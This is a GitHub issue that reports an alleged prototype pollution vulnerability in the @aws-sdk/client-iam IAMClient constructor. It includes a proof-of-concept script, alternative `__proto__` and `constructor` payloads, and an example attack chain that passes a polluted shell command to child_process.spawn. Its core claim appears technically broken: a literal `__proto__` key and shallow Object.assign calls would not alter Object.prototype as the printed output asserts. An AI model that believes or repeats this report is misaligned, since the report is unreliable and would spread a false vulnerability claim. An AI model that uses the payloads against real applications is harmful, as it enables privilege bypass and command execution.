Skip to content
This repository was archived by the owner on Mar 9, 2026. It is now read-only.

Prototype Pollution Vulnerability in @aws-sdk/client-iam <= 3.980.0 #4715

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Describe the bug

Prototype Pollution via Constructor Configuration in @aws-sdk/client-iam

Summary

A prototype pollution vulnerability exists in @aws-sdk/client-iam version 3.980.0 and earlier. The IAMClient constructor accepts a configuration object that is processed through resolveClientEndpointParameters(), which uses Object.assign() to merge user-controlled input without proper sanitization. This allows attackers to inject properties into Object.prototype by passing specially crafted configuration objects containing __proto__ keys, potentially leading to authentication bypass, denial of service, or remote code execution in dependent applications.

Details

The vulnerability originates in the endpoint parameter resolution logic within the IAM client initialization process. When instantiating an IAMClient, the configuration object flows through multiple merge operations that do not adequately sanitize prototype pollution vectors.

Vulnerable Code Location:

  • File: package/package/dist-es/endpoint/EndpointParameters.js
  • Primary Sink: Line 2

Vulnerable Code Pattern:

return Object.assign(options, {...

The vulnerability manifests through three identified RECURSIVE_MERGE sinks:

  1. Line 2 (EndpointParameters.js): Direct merge of user-supplied options

    return Object.assign(options, {...
  2. Line 6: Extension configuration merge

    const extensionConfiguration = Object.assign(getAw...
  3. Line 8: Runtime configuration merge

    return Object.assign(runtimeConfig, resolveAwsRegi...

When a configuration object containing __proto__ is passed to the IAMClient constructor, these merge operations propagate the polluted properties to Object.prototype, affecting all JavaScript objects in the runtime environment.

Root Cause:
The use of Object.assign() with user-controlled input without prior sanitization of dangerous keys (__proto__, constructor, prototype) enables prototype chain manipulation.

PoC

Prerequisites

  • Node.js environment (tested on Node.js 14.x and later)
  • npm or yarn package manager

Steps to Reproduce

  1. Install the vulnerable package:

    npm install @aws-sdk/client-iam@3.980.0
  2. Create a test file (test-pollution.js):

    const { IAMClient } = require('@aws-sdk/client-iam');
    
    // Verify Object.prototype is clean before test
    console.log('Before pollution:');
    console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
    console.log('({}).isAdmin:', ({}).isAdmin);
    
    // Instantiate IAMClient with malicious payload
    const maliciousConfig = {
      __proto__: { 
        isAdmin: true,
        polluted: 'malicious_value'
      },
      region: 'us-east-1'
    };
    
    const client = new IAMClient(maliciousConfig);
    
    // Check if pollution occurred
    console.log('\nAfter pollution:');
    console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
    console.log('({}).isAdmin:', ({}).isAdmin);
    console.log('Object.prototype.polluted:', Object.prototype.polluted);
    
    // Demonstrate impact on unrelated objects
    const unrelatedObject = {};
    console.log('\nImpact on unrelated object:');
    console.log('unrelatedObject.isAdmin:', unrelatedObject.isAdmin);
    console.log('unrelatedObject.polluted:', unrelatedObject.polluted);
  3. Execute the test:

    node test-pollution.js

Expected Behavior

The IAMClient should reject or sanitize the __proto__ key, preventing pollution of Object.prototype. The output should show undefined for all pollution checks.

Actual Behavior

Before pollution:
Object.prototype.isAdmin: undefined
({}).isAdmin: undefined

After pollution:
Object.prototype.isAdmin: true
({}).isAdmin: true
Object.prototype.polluted: malicious_value

Impact on unrelated object:
unrelatedObject.isAdmin: true
unrelatedObject.polluted: malicious_value

The Object.prototype is successfully polluted, and all JavaScript objects inherit the injected properties.

Alternative Payload Variations

Constructor-based pollution:

const client = new IAMClient({
  constructor: { prototype: { isAdmin: true } },
  region: 'us-east-1'
});

Nested prototype pollution:

const client = new IAMClient({
  __proto__: { 
    toString: () => 'compromised',
    valueOf: () => ({ malicious: true })
  },
  region: 'us-east-1'
});

Impact

This prototype pollution vulnerability poses HIGH to CRITICAL severity risk depending on the application context. The security implications include:

1. Property Injection

Attackers can inject arbitrary properties into all JavaScript objects throughout the application runtime, affecting:

  • Application logic that relies on property existence checks
  • Default values and fallback mechanisms
  • Object serialization and validation routines

2. Authentication and Authorization Bypass

If the application uses property checks for access control:

if (user.isAdmin) {
  // Grant administrative access
}

An attacker polluting Object.prototype.isAdmin = true would bypass this check for all objects.

3. Denial of Service (DoS)

By overwriting critical object methods or properties:

{ __proto__: { toString: null, valueOf: null } }

This can crash the application or cause infinite loops when these methods are invoked.

4. Remote Code Execution (RCE)

If polluted properties flow into dangerous sinks such as:

  • eval() or Function() constructors
  • child_process.exec() or child_process.spawn()
  • Template engines
  • Dynamic property access in security-sensitive contexts

Example attack chain:

// Attacker pollutes prototype
new IAMClient({ __proto__: { shell: '/bin/sh -c "malicious command"' } });

// Later in application code
const options = {};
child_process.spawn(options.shell || '/bin/bash'); // Executes malicious command

5. Security Control Bypass

Prototype pollution can bypass:

  • Input validation libraries that check object properties
  • Security middleware that relies on object shape validation
  • CSRF token validation
  • Rate limiting mechanisms

Real-World Attack Scenarios

Scenario 1: Multi-tenant SaaS Application
An application using @aws-sdk/client-iam to manage AWS IAM permissions for multiple tenants could allow one tenant to pollute the prototype, affecting authorization checks for all tenants.

Scenario 2: Serverless Functions
AWS Lambda functions using this package could be compromised if they process user input through the IAM client configuration, potentially affecting all subsequent invocations in the same container.

Scenario 3: CI/CD Pipelines
Automated deployment systems using this SDK could be exploited if configuration is sourced from untrusted inputs, leading to privilege escalation in the deployment environment.

Affected Applications

Any application that:

  • Uses @aws-sdk/client-iam version ≤ 3.980.0
  • Passes user-controlled or untrusted data to the IAMClient constructor
  • Relies on object property checks for security decisions
  • Operates in multi-tenant or shared runtime environments

Remediation Recommendations

Until an official patch is released, consider these mitigations:

  1. Input Sanitization: Validate and sanitize all configuration objects before passing to IAMClient:

    function sanitizeConfig(config) {
      const { __proto__, constructor, prototype, ...safe } = config;
      return safe;
    }
    
    const client = new IAMClient(sanitizeConfig(userInput));
  2. Object Freezing: Freeze Object.prototype at application startup (may break some dependencies):

    Object.freeze(Object.prototype);
  3. Use Object.create(null): For security-sensitive objects, use prototype-less objects:

    const config = Object.assign(Object.create(null), userInput);
  4. Upgrade: Monitor for patched versions and upgrade immediately when available.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions